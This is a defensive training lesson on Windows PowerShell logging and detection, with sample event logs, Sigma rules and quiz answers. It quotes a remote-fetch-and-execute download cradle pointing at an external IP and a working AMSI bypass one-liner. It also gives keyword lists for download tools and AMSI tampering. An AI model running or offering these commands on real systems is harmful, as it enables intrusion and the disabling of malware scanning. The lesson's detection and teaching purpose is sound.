PowerShell & Scripting Telemetry — ScriptBlock, Module, Transcription Logging

PowerShell is the most detection-rich attack surface on Windows — and the most frequently abused scripting engine by adversaries. Understanding the three logging layers (ScriptBlock, Module, Transcription) determines whether you can see what attackers actually ran.

The Three PowerShell Logging Layers

Logging Type	EventID	What it captures	Noise level	Enable via
Script Block	4104	Script content (decoded)	Medium	GPO: ScriptBlock logging
Module	4103	Executed commands + output	High	GPO: Module logging
Transcription	Text file	All I/O to text files	Medium	GPO: Transcription

Enable all three via Group Policy:

Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
  ✓ Turn on Script Block Logging
  ✓ Turn on Module Logging (set Module Names to *)
  ✓ Turn on PowerShell Transcription (set output directory to a network share)

ScriptBlock Logging: Your Primary Detection Source

Event 4104 is generated every time PowerShell compiles a script block. For a multi-file script, you get one 4104 per logical block. The critical field is ScriptBlockText — the actual script content after any decoding.

Windows Event Log (EVTX) — PowerShell Script Block Log — Event 4104 (Base64-encoded command)

<Event>
  <System>
    <Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" />
    <EventID>4104</EventID>
    <TimeCreated SystemTime="2024-03-15T09:23:14.882Z" />
    <Computer>WORKSTATION01.corp.local</Computer>
  </System>
  <EventData>
    <Data Name="MessageNumber">1</Data>
    <Data Name="MessageTotal">1</Data>
    <Data Name="ScriptBlockText">
      IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/stage2.ps1')
    </Data>
    <Data Name="ScriptBlockId">{f45a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c}</Data>
    <Data Name="Path"></Data>
  </EventData>
</Event>

The attacker ran: powershell.exe -enc SUVY... (a base64-encoded command). The 4688/Sysmon Event 1 shows the base64. Event 4104 shows what was inside: an IEX download cradle fetching a remote script from a suspicious IP.

Key 4104 detection patterns

# Sigma: PowerShell download cradle detection
title: PowerShell Download Cradle
logsource:
  product: windows
  service: powershell
  definition: Script Block Logging must be enabled
detection:
  keywords:
    - 'DownloadString('
    - 'DownloadData('
    - 'WebClient'
    - 'Invoke-WebRequest'
    - 'Net.WebClient'
    - 'Start-BitsTransfer'
    - 'bitsadmin'
  condition: keywords
falsepositives:
  - Legitimate administrative scripts downloading updates
level: medium

Obfuscation vs ScriptBlock Logging

ScriptBlock logging captures script content after the PowerShell engine decodes it. This makes it resistant to many obfuscation techniques:

Obfuscation technique	ScriptBlock captures…
`-enc SGVsbG8=` (base64)	Decoded script
`"I"+"EX"` (string concat)	`IEX` (after concatenation)
`[System.Text.Encoding]::UTF8.GetString(...)`	Decoded string result
Tick mark obfuscation `i`e`x`	`iex` (ticks removed)
Variable-based obfuscation `$a='IE'; $b='X'; &($a+$b)`	The called string `IEX`

However — ScriptBlock logging is blind to:

Code injected directly into memory (shellcode loaded via Add-Type into a native DLL)
Commands run inside a Start-Process child process (that child gets its own ScriptBlock events)
Very short single-command invocations that PowerShell may not log as a “script block”

Worked Example

Detecting AMSI bypass attempts via 4104

AMSI (Anti-Malware Scan Interface) is what allows Windows Defender and third-party AV to scan PowerShell scripts. Attackers frequently try to disable it.

Common AMSI bypass that appears in 4104:

# ScriptBlockText field content:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

A Sigma rule catching this pattern:

detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'AmsiUtils'
      - 'amsiInitFailed'
      - 'amsiContext'
      - '[Runtime.InteropServices.Marshal]::WriteByte'

The last pattern catches another class of AMSI bypass: directly patching AMSI functions in memory via P/Invoke.

Correlating Across Log Sources

For a complete picture of a PowerShell attack:

Sysmon Event 1:
  Image: powershell.exe
  CommandLine: powershell.exe -NoP -sta -NonI -W Hidden -Enc SGVsbG8=
  ProcessGuid: {abc-123}

PowerShell Event 4104:
  ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/...')
  ProcessGuid: {abc-123}  ← correlate on ProcessGuid

Sysmon Event 3:
  Image: powershell.exe
  ProcessGuid: {abc-123}  ← same process
  DestinationIp: 185.220.101.5
  DestinationPort: 80

Sysmon Event 10 (if process injection follows):
  SourceImage: powershell.exe
  SourceProcessGuid: {abc-123}
  TargetImage: lsass.exe
  GrantedAccess: 0x1010

This chain — encoded command → download cradle → network connection → LSASS access — is detectable in full because ProcessGuid links all four events to the same process instance.

PowerShell Logging on Windows— Microsoft Docs

Retrieval Practice

An analyst finds a 4104 event with ScriptBlockText containing a very long base64 string inside [System.Reflection.Assembly]::Load(). What is the attacker likely doing, and what Sysmon events should you look for next?

Reveal answer

[System.Reflection.Assembly]::Load() with a base64 argument is fileless .NET assembly loading — the attacker is loading a compiled .NET DLL directly into PowerShell's memory without writing it to disk. This is commonly used to load Cobalt Strike or other C2 frameworks in-memory. Look for subsequent Sysmon events on the same ProcessGuid: Event 7 (Image Load) may show the assembly being loaded, Event 8 (CreateRemoteThread) if the loaded assembly injects into another process, Event 3 (Network Connection) for C2 beaconing, and Event 10 (Process Access) if credential dumping follows.

Retrieval Practice

You're reviewing PowerShell 4104 events and find 15 events with the same ScriptBlockId but different MessageNumber values (1 of 15, 2 of 15, etc.). What does this mean, and how do you reconstruct the full script?

Reveal answer

Large PowerShell scripts are split across multiple 4104 events with the same ScriptBlockId. MessageNumber 1 of 15 is the first chunk; 15 of 15 is the last. To reconstruct the full script: query all 4104 events with the matching ScriptBlockId (GROUP BY ScriptBlockId), sort by MessageNumber, and concatenate ScriptBlockText in order. Most SIEMs don't do this automatically — you need a custom query or a post-processing script. Detection rules that only look at ScriptBlockText[contains] will still fire on any matching chunk, so single-event detection still works for known patterns.